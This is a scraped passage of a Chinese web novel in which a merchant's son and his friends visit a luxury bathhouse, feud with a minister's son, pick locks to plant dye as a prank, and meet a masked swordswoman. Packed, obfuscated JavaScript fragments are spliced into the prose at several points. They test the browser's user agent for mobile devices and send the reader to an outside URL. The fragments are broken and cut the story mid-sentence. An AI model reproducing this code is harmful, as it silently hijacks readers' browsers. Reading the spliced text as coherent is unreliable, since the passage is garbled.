0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175437|180712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在让人敬佩不已,敬佩不已啊。” 明瑾狠狠瞪了他一眼。 没办法,他只好对荀婴说自己暂且收下,一定会好好保管的。 出于愧疚和某种补偿心理,他又问道:“哪个,你明日可有空?要不要跟我们一起去城南的汤泉池浴玩玩?” 话刚说出口他就后悔了。 明明早知道荀家败落,连学费都快交不起了,还在为生计烦忧,问这个做什么! 于是明瑾赶紧补救道:“就当是你送我这么贵重书的感谢,你要是去的话,我请客!” 但荀婴还是婉拒了。 说是家中母亲生病,他要随侍左右,接下来可能还要跟书院请一段时间的假。 “……那好吧,你多保重。” 对于这些现实生活带来的沉重压力,明瑾心中尚无多少概念。 他只是有些懵懂地目送着荀婴的背影远去,觉得这人比上次见面更清瘦了些,像是随时要羽化登仙似的。 但那瘦挺的脊背却依旧笔直如松。 “他爹可真不是个东西。”明瑾突然没头没尾地冒出一句感叹。 张牧诧异地看了他一眼:“怎么,你同情他?” “也不是,”明瑾莫名觉得荀婴根本不需要他同情,“只是……哎呀,我也说不好,总之你难道不这么认为吗?” 张牧不置可否:“这话你最好别当着人家面说,亲爹再混蛋也是爹,小心他找你打架。” “我又不傻。” 但明瑾从书院回家之后,还是主动给了明敖一个熊抱,说了一句“老爹辛苦了”。 明老爷受宠若惊,感动不已:“我儿今天这是怎么了,这么贴心?” “我明明平时也很贴心的好吗!”明瑾翻了个白眼,感动瞬间消失,人也立马恢复正常,“对了爹,你知道荀家吗?” “知道啊,怎么了?” 于是明瑾把他和荀婴结识的经过简单讲述了一遍,明敖听了,神色若有所思:“这么看来,虽然他爹荒唐,但荀家的根还是正的。” 文轻尘也点头道:“这孩子不错,比你那些个只知道吃喝玩乐念书一窍不通的狐朋狗友正经多了。” 于是明老爷大手一挥:“你若是和他结交,老爹我赞成!” 明瑾撇嘴:“我才不要咧,这家伙一看就知道是个小古板,我跟他合不来的。” “这样吗?”明老爷还有些失望,“本来我还想跟你娘商量着,每个月多给你十两银子,叫你接济一下朋友呢。” “但话又说回来了,”明瑾丝滑改口,“既然爹娘你们都支持,他今日又主动来与我交好,这朋友也不是不能处。” 他讨好地伸出双手,递到明老爷的眼皮子底下。 甚至还眼巴巴地曲了曲手指,像只讨食的小狗。 “爹!” “叫爷爷也没用,”明老爷长叹一声,负手道,“你爹又不管家。” 明瑾瞬间冷漠转身,拿屁股对着他爹,清了清嗓子,笑容灿烂、百转千回地喊道: “娘~~~” 文轻尘狠狠戳着他的额头,把朝自己奔来的好大儿戳得哎呦叫唤起来:“少来,这段时间出门记得谨言慎行,听到没?” 她肃容道:“上边那位,听说又将太子复立回来了,未来京城还不知道有什么变动,你还有你那个几个朋友,在外面都给我留点神,不然的话……” 明瑾心道太子跟我有什么关系,就算皇帝换人坐,难不成他们明家还能出个宰相不成? 嘴上则敷衍道:“知道了知道了,娘你就放心吧,你儿子机灵着呢。” 文轻尘啧了一声,这个她倒是不怀疑。 她叫人给明瑾取来了十两银子,还反复叮嘱他不要乱花,多照顾一下那荀家小子,最好有空拉着同窗上门探望一下他和母亲。 如此种种,明瑾都胡乱点头应下了。 等回了房间,他看着轻松到手的十两银子,不自觉地露出了一抹笑容。 少年乐颠颠地跑到床边,趴在地上,从床底下够出一个上了锁的小木匣,撬开锁,把十两银子放了进去。 里面已经有了一些碎银和铜板,不多,还没有十两呢。 但都是他这些天从辛苦攒下的私房钱。 明瑾珍惜地摸了摸木匣,握紧小拳头,踌躇满志地想: 等将来,他一定要给宁先生买一座大屋子! 然后,金屋藏娇! 14.第 14 章 旬假当日一大早,明瑾就告别了家里,和两位小伙伴一起坐上张牧家的马车,一路欢声笑语地来到了城南。 他们今日要去的地方,叫清沐坊。 老板据说出身燕地,二十多年前,胡人犯边,为躲避战乱,他便举家搬来南方生活。 一开始是做酒楼,后面生意越做越大,就在京城开了这家清沐坊。 “这几年胡人又开始不安分,京城从燕地来的人越来越多了,流亡的,做生意的,还有小偷小摸甚至是刑徒罪犯,什么三教九流都有。” 张牧叼着根狗尾巴草,靠在车厢上随口道:“端午祭日将近,我爹现在成天在家抱怨,说牢狱都要不够关了。” 明瑾正忙着低头看清沐坊分发在城中的宣传告示,听到这话,他疑惑抬头:“你之前不还说京城的治安变好了吗?” “就是因为抓得多,所以才变好了啊。”张牧懒洋洋地支起一条腿,“听说锦衣卫今年都招了三回人了,不过刷下来的也多,才三十进一。” 他呸地一声吐掉嘴里的草,“说真的,我都想等从书院毕业后,要是我爹不让我从军,干脆就去当锦衣卫得了,好歹还能佩刀呢。” “大人,小的是良民!千万手下留情啊!” 明瑾立马装模作样地求饶起来,逗得张牧和李司咯咯直笑。 “我以后应该会去衙门谋一份差事,”说到将来,李司也有自己的想法,“家里的事有大哥担着,我比较笨,也不知道变通,当个小吏挺好,只要把律法条例死记硬背下来就行了。” 和身为家中嫡长子的张牧与明瑾不同,李司在家中排行老二,还是庶出,所以他一直都觉得自己不怎么受父母重视。 但好处是,家里对他也没太多要求。 主打一个活着就行。 说完,两人同时看向明瑾。 “明兄,那你呢?” “我的话,当个纨绔,混吃等死就挺好。” 明瑾丝毫不觉得这话有什么不对,颇为坦然道:“只要我不赌不嫖不被人骗,家里的钱够我花三辈子了。” 张牧咋舌:“你就没有点远大志向?” 明瑾:“什么远大志向,建功立业,青史留名吗?要说不想,那肯定是骗人的,但这些跟我一个商人之子又有什么关系?古往今来,以这种身份做出一番事业的,基本都是在天下大乱的时候吧。” 张牧想想,倒也是。 “那如果,将来朝廷允许你参加科举,入朝为官呢?”李司好奇追问道,“明兄可有想过当官?” 明瑾拨浪鼓式摇头:“不要,不要,我才不干呢。一入朝堂深似海,干啥都得小心,一不小心就会得罪人,万一得罪了皇帝,指不定还要掉脑袋,我可就这么一个聪明脑袋,得省着点用。” 一边说着,他还一边得意地摇头晃脑了两下。 张牧笑骂他:“促狭鬼!照你这么说,那天底下人人都该对做官避之不及才对吧?” 明瑾挑眉一笑:“别人我管不着,反正我是这么想的,要是这世上真有仙人,我宁可去求仙问道,比当皇帝还要自在逍遥呢!” 话音刚落,马车已经停在了清沐坊门口。 明瑾跳下马车,笑容都还没从脸上消失呢,就看到不远处停着一辆熟悉的车驾。 他呆呆地望着那个方向,喃喃自语道:“我最近真得找个庙拜拜了。” 其他两人顺着他的视线望去,也同时露出了吃了粪的表情。 “魏金宝这混蛋怎么也会在这儿!?” 几人面面相觑。 虽然那辆车驾附近只有一位车夫,里面的人早进去了,但一想到魏金宝那身白花花的腻肉很可能跟他们泡在同一个池子里,他们就有种拔腿就走的冲动。 “咱们还进去吗?”李司犹豫问道。 “进,怎么不进?”明瑾咬牙,“里面应该不止一个池子,再说了,这清沐坊又不是他家开的,他魏金宝能来得,凭什么我们就来不得?” “没错!” 张牧也十分赞同他的观点,搭着两人的肩膀,一脸深沉:“咱们怕什么?这又不是在书院,他也不是老丁头,管不着咱们。” “走,进去看看去!” 三人肩并着肩,犹如一堵城墙般,声势雄壮地跨进了清沐坊的大门。 刚迈过门槛,立即就有一群年轻貌美的侍女迎上前来,笑意盈盈地福身道:“几位小公子,不知是来听曲、看戏还是泡池子的?” “可要奴家在边上伺候着?” “哎呀,好新鲜水灵的小公子!” “是呀,瞧瞧这脸蛋,嫩的能掐出水儿来似的……” 满目的莺莺燕燕,香粉扑鼻。 三个十几岁的少年,哪里见过这等阵仗? 无坚不摧的城墙在红粉攻势面前顷刻土崩瓦解,三位未来猛将个个面红耳赤,支支吾吾,不像来做客的,倒像是陪客的。 明瑾被夹在中间,还不知被谁偷偷掐了一把脸蛋。 他内心悲愤不已——怎么天底下的女子都和他娘似的! 最后还是年纪稍大的张牧鼓起勇气,把兄弟从脂粉堆里一把捞出来,扬声道:“不需要这么多人,留下一个就行了!” 侍女们对视一眼,也知道不能逗太过,捂嘴笑了一阵,商讨过后,留下了一个年纪最小的。 她自称果儿,因为年纪小,还没取花名。 看上去更像是他们的同龄人。 侍女们散去,明瑾三人顿时松了一口气。 这下自在多了。 “清沐坊很大,若是公子们尚未考虑好要干什么,不如先随奴家一同逛逛这园子吧。” 果儿福身道,动作间还带着稚嫩的生疏。 “那就麻烦你带路吧。” 明瑾点了点头,其他两人也对此并无异议。 果儿倒是怔了怔,兴许是以往从未有客人用如此客气的口吻同她说话,还用上了“麻烦”二字。 她看着面前这位佯作成熟镇定的小公子,不由得微微低头一笑,脸上略显局促的神情也真切了些。 “好,三位公子,请随奴家这边来。” 三位少年跟在果儿身后,一路穿过连廊,对这园中奇异精巧的布置表达了惊叹,又拐过几道曲折小径,去参观了暂时空置的戏台。 “每逢酉时、戌时过半,坊主都会请戏班上台为众宾客表演,”果儿介绍道,“三位公子若是有空,可以坐在台下观看,若是想进楼上包厢,就要再花上十两银子。” 这价格可不便宜。 明瑾心中暗暗吃惊。 虽然文轻尘刚给了他十两银子,但他也不是不知柴米油盐贵的那种人。 这笔钱,哪怕放在京城,都够一家三口用上半年的了;放在这清沐坊,却只够坐一晚上包厢的。 这还不算果盘和打赏钱呢。 “你们坊主可真是财大气粗。”明瑾忍不住说道。 这一路走来,各种奇石怪松、琉璃玛瑙看得他是眼花缭乱。 庭院中甚至养了两只仙鹤,伐竹为节,从附近青山之上引下山泉水,环绕着一棵由纯黄金打造而成的长寿树,造出一派金鹤满堂、富贵仙气的景象。 但这些都还不算什么。 方才果儿曾指着一件放在奇珍架正中、以玛瑙繁花琉璃绿叶点缀的花瓶,悄声告诉他们,这是宫中御用的红釉瓷。 还说全京城的红釉瓷加起来,都不超过五指之数。 明面上,一件在陛下的书房里,一件在太后宫中,还有一件,则被陛下赏赐给了宁王殿下。 这说明什么? 说明这位坊主不但财力惊人,实力背景更是深不可测! 果儿抿唇一笑:“小公子谬赞了。这番话奴家会转告坊主,若是等下坊主空闲,或许会亲自来面见三位公子。” 从小被家人带着应酬寒暄,几人都知道这是客套话。 毕竟这么大的清沐坊,往来的达官贵人众多,他们这几个没有官身甚至尚未及冠的少年,怎么可能劳动坊主亲自来见? 但不妨碍他们听着高兴嘛。 明家家财万贯,明瑾自认为从小也在家里见过不少好东西了,此时也不得不承认,这一趟来的确是大开眼界。 他都如此感叹,就更别提张牧和李司了。 “那堵墙后面是什么?”张牧指着伫立在他们右手边的高墙,兴致勃勃地问道。 果儿抬头望去,轻声细语道:“那边是内院的方向,柳大家居住待客之所。” 柳大家乃京城名妓柳兰兰,精通歌舞,琴画双绝。 之前果儿介绍过,说柳大家是坊主花重金请来的,普通人若想见上一面,非得一掷千金不可;但若是有才学之士,甚至能得到她的主动相邀。 像张牧这个年纪,可不在乎什么大家不大家的,在他面前弹琴,就跟对牛弹琴差不多。 从果儿的话里,他只听到了一个关键词—— “内院?敢情你带我们逛了半天,还只是在外院兜圈?” 张牧瞬间瞪大了眼睛,迫不及待道:“内院的好东西,肯定比外头更多吧?这外面刚才都逛的差不多了,赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻言,明瑾不禁斜眼瞅了那仆役一眼。 魏家这狗腿子,好一记响当当的马屁! 不过就他凭魏金宝? 大字不识几个,还指望封侯拜相? 真要有这么一天,在位的皇帝肯定眼瞎耳聋脑子进水,大雍也要彻底完蛋了! “……也是。” 但在明瑾眼中一向蠢笨如猪的魏金宝,听了这番话后,竟很快就恢复了镇定。 他气喘吁吁地推开仆役,冷笑一声:“外面这千人共浴的大池子,倒也正适合你们这些贱民享用,今日我有要事,就先不跟你们几个计较,不过,这事儿没完,给我等着!” 魏金宝狠剐了一眼三人,尤其是明瑾。 然后领着仆役,撞开李司的肩膀,大摇大摆地进了内院。 “呸,什么鸟人!都多大人了,还成天把爹爹爹挂在嘴边,干脆滚回家吃他爹的奶去吧!” 张牧冲着他横宽一致的背影啐了一口,嘴里不住骂骂咧咧。 骂完后,他又扭头看向明瑾:“咱们这次是真把他得罪了,我无所谓,李司也还好,主要是你——” “我有什么事?”明瑾一脸“有本事就让他来”的表情,“这话要是他大哥魏伯贤来说,我还能当回事警惕几分,他魏金宝算老几?” “话是这么说,不过……” 张牧觉得对待魏金宝这种人,确实不能太当回事。 但明瑾明显也太不当回事了。 以魏相的地位,对付一个商人,岂不是轻轻松松? 不会只是因为那个宁先生的随口一句话,这小子就真信了吧? 张牧很有些忧心忡忡。 可这会儿他也不好说什么,只好叹了口气,问其他两人:“接下来怎么办?” 因为魏金宝的这一闹,周围已经聚集了不少人,就连挑着担子的脚夫,都躲在墙根处探头探脑地往这边张望。 年轻人,本就是最好面子的。 顶着这么多人打量的目光,张牧和李司都觉得十分难堪,根本没心情再在这儿待下去了,纷纷骂都怪那姓魏的混蛋扫兴,拉着明瑾就要打道回府。 但明瑾却坚决不肯就这样灰溜溜离开。 少年紧皱着眉头,视线不经意间扫过墙角。 在看到脚夫担子里的红染料时,他的眼睛咻地一下亮了。 “你们等等,我知道该怎么报复魏金宝了!” 15.第 15 章 张牧和李司盯着他,异口同声地问道: “什么办法?” 明瑾竖起一根手指:“你们还记得那个仆役劝魏金宝的话吗?” 两人点点头。 恶心得他们差点把隔夜饭都吐出来,能不记得吗。 明瑾摸着下巴,思忖道:“既然是能被魏相当做贵客的人,身份一定不简单。魏金宝是晚辈,本来应该陪在长辈边上好好招待客人的,但他却独自一人在外面晃荡,直到现在才进去找他爹,这说明什么?” 李司傻乎乎道:“说明他迷路了?” 明瑾瞬间被呛到了:“怎么可能!连咱们都有侍女带路,以魏相的身份,你觉得可能没有吗?” 张牧一巴掌呼上李司的后脑勺,目不转睛地盯着明瑾,“甭管这呆子,你继续说。” “有两种可能,”明瑾又竖起两根指头,“要么是他爹不放心他,要么就是他大哥魏伯贤在,就不那么需要他了——相比之下,我觉得后者的可能性更高一些。” 张牧顿时幸灾乐祸地笑出了声:“我说那混蛋怎么今日这么听下人的话,原来是被亲爹嫌弃,打发出来的!” “估计他爹也觉得这个儿子上不得台面吧,”明瑾补充道,“听名字就知道了,魏伯贤,魏金宝,受宠归受宠,关键时刻要撑家族台面,魏相还是会选择长子。” “这家伙一无是处只知道靠爹,这点我们不是早就清楚了吗?” 张牧重新放松下来,双手枕在脑后,懒洋洋道:“说点有用的,明兄,你到底想到什么报复他的好办法了?” 等周围人都散去后,明瑾带着他们走到墙角,蹲下身子,从脚夫担子里捏起了那块红染料。 在几人不解的注视下,他抬头认真地问那脚夫:“老伯,这个卖吗?” 脚夫磕巴道:“这……这是马上端阳染红鸡蛋要用的,也不值几个钱,小公子想要,直接拿去便是。” “那可不行,钱货两清,不争小利,这是我们明家做生意的规矩。” 他爹虽说在外名声不好,有个“江南第一奸商”的称号,但也是因为明家资金雄厚,涉足的生意领域又太广,无论进入哪一个行当,都是寻常商家难以匹敌的庞然大物。 被瓜分产业、挤压利润,同行眼红,自然要出言诋毁。 而且有时候就连明瑾都觉得,他爹这生意再做下去,恐怕都要做到皇帝头上了。 可就算同行竞争再激烈,明家也从来不做压榨下人苦力的龌龊事。 明瑾笑着递出一小粒碎银,见脚夫受宠若惊地接过,又叮嘱道:“我买了。但这事儿,老伯最好别跟其他人讲。” 等脚夫挑着担子离开后,张牧疑惑道:“你要这东西干什么?” 明瑾将那块染料放在手里,上下一抛,攥在手心里。 “既然那魏金宝这么小心,生怕搞砸了他爹这次会面,那咱们就助他一臂之力不好吗?” 两人立马心动了。 但张牧还有些担心:“万一被发现了怎么办?那可是魏相啊。” “放心,不会被发现的。”明瑾坏笑起来,“不用咱们亲自动手,只需要把这东西往魏金宝的屁股后面一放,到时候,嘿嘿……” 果儿在给他们介绍大池时,曾顺口提起过,说坊中会为每一位来此的客人提供方便入水的干净亵裤。 当时张牧还嘀咕谁会泡池子穿裤子,明瑾深以为然。 不过若是招待贵客的话,那自然就得穿上了。 而这红染料,是用茜草、红花和苏木等汁液制成,一旦染上,轻易无法洗去,能在皮肤表面残留数日至半月不等。 明瑾哼笑着想,池中雾气缭绕,等魏金宝发现的时候,早就晚了! 至于可能被无故牵连的魏家其他人和那位所谓的“贵客”,那也只能算他们倒霉了——先撩者贱,明瑾理直气壮地想,谁让魏金宝先来招惹他呢? “明兄,不愧是你!” 张牧大笑一声,拍手赞叹。 他正摩拳擦掌地准备干坏事,但想到一件事,又猛地顿住了,“等下,咱们没有玉牌啊,要怎么进内院?” “这个也不用担心,咱们来的路上我都看过了,”明瑾拍着胸脯道,“我有办法,跟我来!” 一炷香后。 三个少年蹲在站在清沐坊外的一处豁口前,面面相觑。 “这就是明兄你的‘好办法’?”张牧咬牙切齿,“要是被人发现我堂堂刑部郎中之子,跑到外面钻人家的狗洞,我爹能把我腿打断!” “哎呀,小心点儿不就行了?” 明瑾不以为意,随口安慰道:“放心张兄,你我情谊深厚,就算你腿真断了,我也肯定会亲手为你做一副拐杖,搀扶着你出门的。对吧李兄?” 李司点点头:“是这个理……哎呦!” 他委屈地摸了摸后脑勺,不明白为什么张牧又打他。 张牧磨了磨牙:“少废话,谁先进去?” “我出的主意,自然是我第一个打头阵。” 明瑾挺身而出,在其余两人紧张的注视下,拨开荒草,俯身趴下,很顺利地钻到了墙对面。 紧接着是张牧,稍微费了点劲,但也成功了。 轮到李司的时候却出了问题——李司虽然高瘦,可他骨架也大,比起尚未长开的张牧明瑾二人,体型是最接近成年人的。 因此面对狭小的狗洞,他爬得十分费劲。 就算明瑾张牧搭了把手,最后还是卡在了腰胯处。 “快使劲儿——” “再加把劲儿啊!就差一点点了!” 李司哎呦喂地叫唤起来,吓得明瑾赶紧捂住他的嘴:“嘘!小声点,别被里面人发现了!” 不请自来是为贼,他们这次要是再被逮住,可就不止是扫茅厕这么简单了! 明瑾只打算当个普普通通的纨绔,可没打算闹到官府,让老爹一把年纪了还来替自己交赎金啊。 “停停停,别拉了!”李司半边身子卡在狗洞里,疼得眼泪都快飚出来了,“我好像卡住了……不行,真进不去,要不你们去吧,我在外面给你们放风。” 没办法,见他忙活得满头大汗实在进不来,明瑾和张牧也只好同意了这个办法。 “如果发现附近有人来,你就在外面学狗叫提醒我们,听到没?” “放心吧。”李司退了出去,隔着一堵墙小声说道,“你们要小心啊!” 隔着小小的狗洞,三位少年紧握双手,依依惜别。 明瑾心中陡然升起一股“风萧兮兮易水寒”的豪情壮志,但等一转身,他就犯了难—— 这内院实在是太大了! 原本以为只有小小一座园子、几间房子,谁知这内院竟并不比外院小多少。 相比起外面流金溢彩的富丽堂皇,内院的环境更为幽静典雅,曲水流觞,移步换景,空气中还弥漫着淡淡的药浴气息,是文人墨客喜欢的风格。 但这可就苦了明瑾二人。 他和张牧一面找人,一面还要警惕着周围随时可能出现的护院,避开端着托盘匆匆路过的侍女。 瞎转悠了半天,也没找到魏金宝所在的房间。 “要不,咱们先分头去找?” 明瑾提出了一个建议。 张牧也觉得不能再这么耗下去了,多耗一刻他们的风险就增大一分,于是咬牙同意了:“好!前面拐弯处,我左你右,最多半个时辰,到时候无论找没找到那姓魏的,都要在这里汇合。” 明瑾郑重地点了点头。 “不见不散!” 两人将染料一分为二,各自拿走一半,就此分头行动。 明瑾独自走在空荡荡的小径上,头顶树木葱茏,几乎将阳光遮蔽殆尽。 幽静树丛间,他只能听到自己细微的脚步声,和耳畔震耳欲聋的心跳。 周遭稍微一点动静,都能叫他一颗心瞬间提到喉咙眼。 他反复告诉自己,就算有人来了也不要紧,自己可以装作是这里的客人,只要胆子大,没什么好担心的。 如此几遍,明瑾稍稍放松了些。 抬头望去,发现前方雾气氤氲,其内似有人声传来,应该也是一处私人温泉。 他目光一转,低矮木栅上,随意搭着一件眼熟的福禄百花滚金袍——如此具有暴发户气质的衣裳,除了魏金宝,还有谁会穿? 明瑾大喜,终于找到了! 他加快脚步来到木栅外,刚想掏出染料,突然发现魏金宝好像已经进池子里了。 这可怎么办? 他粗略从缝隙中观察了一眼,发现这池子里似乎只有魏金宝一人,也不知道魏相和他招待的那位贵客去哪儿了。 魏金宝怒气冲冲地拍着水面,像只狂怒的大鹅,又扭头朝着岸上伺候的仆人骂骂咧咧,各种污言秽语令人不忍卒听。 辱骂的对象自然是自己,但明瑾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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魏金宝翻来覆去念叨了好多遍,明瑾总结了一下,意思就是无论如何,他也要争取在那位贵客面前露个脸,最好能让对方夸赞自己两句,也好叫爹知道,他不比大哥差多少。 他说那位虽然前不久被陛下禁足,但不过是小惩大诫,现在期限已过,又可以恢复自由身了。 之前他还在家里偷听到他爹和幕僚商讨,太子和二皇子实力相当,势同水火,而魏家早已投靠太子,如此一来,宁王殿下就成了他们必须要争取的对象。 明瑾恍然—— 原来这位“贵客”,竟是大雍目前唯一的亲王,宁王殿下! 如此一来,连魏相都将之引为贵宾,慎重对待,那也就说得通了。 这可是当世唯一的亲王啊! 民间谣传,陛下经常赏赐这位亲王奇珍异宝,还特意恩准他无要事无须上朝,圣眷渥惠,在大雍,是真正的一人之下万人之上。 明瑾蹲在地上,愤愤然拔草。 他酸溜溜地想,魏家居然能和宁王搭上关系,魏金宝这混蛋可真会投胎啊。 不过,与魏家牵扯不清,看来这宁王也不是什么好东西! 里面的魏金宝说完这些,又叮嘱仆役绝不可把这番话告诉第三人,待那仆役赌咒发誓后,这才满意。 哼,他早就在外面偷听完了。 “爹说这次太子殿下被复立,是老天爷给咱们魏家的垂怜,之后绝不可能再有这等机会了。一旦太子失势,二皇子上位,以二皇子那等心狠手辣的作风,魏家定会大难临头。” 魏金宝烦躁道:“不过爹也说了,宁王是个聪明人,他不会随意站队的,我有心想投其所好,却不知道该怎么做,你可有什么主意?” 仆役思索了一会儿,回答道:“等下魏相应该会邀请宁王殿下去私池,大少爷也会随行,不如少爷您借口送些酒水,进去服侍如何?” 魏金宝不太满意,嘟囔半天说什么不想伺候他大哥。 但看在宁王和他爹都在的份上,最重要的是他实在想不出什么更好的办法了,也只好捏着鼻子同意下来。 机会来了! 明瑾正要起身行动,忽然犹豫起来—— 这可是宁王殿下啊。 万一报复牵连到了对方,他又倒霉被发现了,明家会不会倒大霉? 可明瑾转念一想,觉得报复魏金宝倒还是次要的。 假如他不冒风险搅黄这次会面,叫魏家真跟宁王搭上了关系,等将来太子登基,魏家得势,以魏金宝那嚣张跋扈的性格,他们明家还能有活路吗? 所以…… 明瑾握紧染料,眼神逐渐坚定。 为了明家的未来,也为了我和宁先生的幸福,对不起了,宁王殿下! 16.第 16 章 一想到宁先生,明瑾心中就充满了动力。 他绕过木栅,来到西面那一排休息下榻的木屋前,发现房门紧闭着。 关键时刻,明瑾果断拿出了文轻尘传授给他的拿手功夫—— 撬锁。 幸好运气不错,一次成功。 但因为刚才偷听到的对话,明瑾判断魏金宝应该不会下水。 所以他进屋后扫视一圈,果断把那块染料藏在了清沐坊提供给客人的药浴包里,又把那枚药浴包,轻手轻脚地放在了酒壶边上。 物品摆放的位置发生变化,换做一般人肯定会发现。 但明瑾很了解魏金宝。 这家伙被人服侍惯了,从来不记这些无关紧要的细节。 待做完这一切后,他飞快地溜出门外,重新锁好门。 还没等长吁一口气,就听到魏金宝的声音从后面传来,距离还越来越近——完蛋,要被发现了! 明瑾头皮一紧,立马拔腿往前跑。 但这地方该死的只有一条路,连棵高度过腰的树都没有,光秃秃的和老丁头的脑门一样。 要是想躲进树丛,就必须要回头,可那又会正好和魏金宝撞个正着。 情急之下,明瑾狂奔到距离魏金宝木屋最近的那一间屋子,抖着手飞快地撬开锁,在即将被魏金宝发现的前一刻,闪身躲到了里面。 脚步声停在了隔壁。 魏金宝不满的抱怨声被房门隔断,消失在明瑾震耳欲聋的心跳里。 他劫后余生地松了一口气。 突然脖颈一凉,明瑾僵硬着脖颈缓缓移开视线,看到一柄银亮的横刀搭在了自己肩膀上。 一道冰冷刺骨的声音自身后响起: “擅闯进来,想死?” “大大大侠饶命!我不是故意闯进来的!” 明瑾瞬间滑跪。 兴许是他跪得太快了,身后那人噎了一下,顿了顿,竟真的把刀收了回去。 “你……怎么会在这里?” 明瑾应声抬头,震惊地发现,这位嗓音粗哑的大侠竟是位女子。 她穿着一袭黑衣,戴着恶鬼图样的铁面具,手按刀柄,正居高临下地看着自己,语气里还带着一丝不易察觉的紧绷。 明瑾以为对方是在疑惑自己的身份,忙举起双手表明自己没有恶意,生怕这位女侠一刀把自己砍了。 “我我我走错了屋子了,对不起我现在就离开!” 说完便小心翼翼地往后退,手往身后摸索。 但明瑾双眼仍死死盯着女侠手中的横刀——他认识这个,这玩意儿应该是早年制造的大雍军械,他曾在文叔房间里看到过一把类似的。 只不过文叔那把残刀都豁口了,连只鸡都难杀;不像他眼前这把,寒光毕现,感觉能轻松把他当鸡宰了。 见女侠沉默不语,也没有再拔刀的意思,明瑾感激地冲对方笑笑,也顾不上魏金宝在不在外面了,拉开门转身就要离开。 却听身后传来一声轻轻的询问:“你在躲什么人吗?” “啊?哦,是,”明瑾知道自己那个走错屋子的谎话漏洞百出,这会儿也只能硬着头皮回答实话,“我和边上那个姓魏的有点儿过节,所以趁着他不在,往酒里下了点泻药。” 无论如何,他是万万不敢在陌生人面前,提到魏相和宁王这两尊大佛的。 否则怎么死的都不知道。 “这样,”女侠说道,“那你进来吧。” “……啊?” 明瑾呆住了。 但旁边传来开门的动静让他来不及思考,等明瑾反应过来,他已经重新回到了房间里,还牢牢地关上了门。 “…………” 寂静室内,明瑾和面前的女侠大眼瞪小眼。 简直是自投罗网! 但女侠似乎真是个古道热肠的侠客,她看了一眼拘束站在门口的明瑾,又耐心问道:“你还有其他一起来的同伴吗?” 明瑾犹豫片刻,谨慎地点了一下头。 “在哪儿?” “我们约定好半个时辰后在一个地方见面。”他小声道,显然不愿多提,很快便转移了话题,“女侠,请问您怎么称呼?” “我姓木。” “原来是木女侠!” 明瑾最擅长和人套近乎,发现女侠态度有缓和松动的趋势,立马热情洋溢地凑了上去,“木姐姐英姿飒爽,身手一定了得,我娘年轻时,也曾在民间行侠仗义过,就和姐姐一样!” 但不知道这句话哪里说错了,女侠的眼神一下子凌厉起来。 她盯着明瑾,半天都不说话。 明瑾也不敢吭声,眼珠子乱转,余光瞥见放在桌几上的茶叶,突然想起自己还有一手三脚猫的泡茶功夫,于是赶紧给女侠泡了一杯茶,希望她能心情好点,放自己一马。 女侠看着少年的笑脸,和用双手小心翼翼捧到自己面前的茶杯,眼神复杂,但最后还是接了过来,嗓音沙哑地道了一声谢。 “你不必紧张,”让明瑾失望的是,她并没有摘下面具喝茶的打算,只是随手将茶杯放到了一边,“我的同伴还没回来,我得去找他,可以顺便叫人把你的同伴一起带过来。” “这段时间,这个屋子你可以随便待,茶水、点心,都随你取用。” 明瑾眨了眨眼睛:“那就多谢木姐姐了?” “……嗯。” 女侠很快离开了。 门关上的那一刻,明瑾瞬间脚软,一屁股瘫坐在地。 他呼哧呼哧地喘着粗气,左手松开,露出掌心被攥得汗津津的铁片。 他的每一件衣服袖口里,都藏着一枚铁片,腰带里则是能撬锁的铁丝。 文轻尘说过,明家家大业大,却只有他这么一个孩子,万一被人绑票了,这些都是能救命的东西。 原先明瑾还觉得这是多此一举,现在看来,娘太有先见之明了! 紧张过后,就是无尽的怠倦。 明瑾看着空无一人的木屋,后知后觉地意识到,自己这下应该是真的安全了。 于是懒洋洋地翻了个身,抓起那杯女侠一口没喝的茶水,仰头牛嚼牡丹似的一饮而尽。 “爽!” 茶水芳香扑鼻,比起他给宁先生买的,品质还要更加上乘。 这些达官贵人,可真会享受啊。 明瑾砸吧了一下嘴,低头转着手中质地温润、一看就不似凡品的瓷杯,觉得自己好像有点儿明白,为什么那么多人挤破头也要入朝为官了。 指不定,这些都是万恶的民脂民膏! 本着这样的想法,他决定再多喝几口。 顺便安抚自己受到惊吓的小心肝。 但明瑾很快发现,茶壶里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196518|180712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没水了。 外面倒是有温泉活水,但他总觉得,用那个煮水喝,就跟喝魏金宝的洗澡水没啥两样,光是想想都恶心够呛。 明瑾在屋里四下环顾一圈,只发现了一尊小酒壶。 他凑到壶口,低头嗅了嗅,登时眼睛一亮。 好酒啊! 明老爷再宠儿子,该教的人情世故也是必须要教的。 尤其是对于大户人家的子弟来说,喝酒应酬是基本功。 明瑾从十岁开始,就被老爹带着在席上喝酒敬酒,自然能判断出酒水的好坏。 真正的粮食酒味道醇香,入口柔滑,哪怕酒醉,第二天起来也不会头痛——当然,有爹娘在,肯定不会让他喝醉就是了。 要不,尝一点点? 明瑾心中蠢蠢欲动。 但想想自己现在的处境,还是遗憾地把酒壶放回了原位。 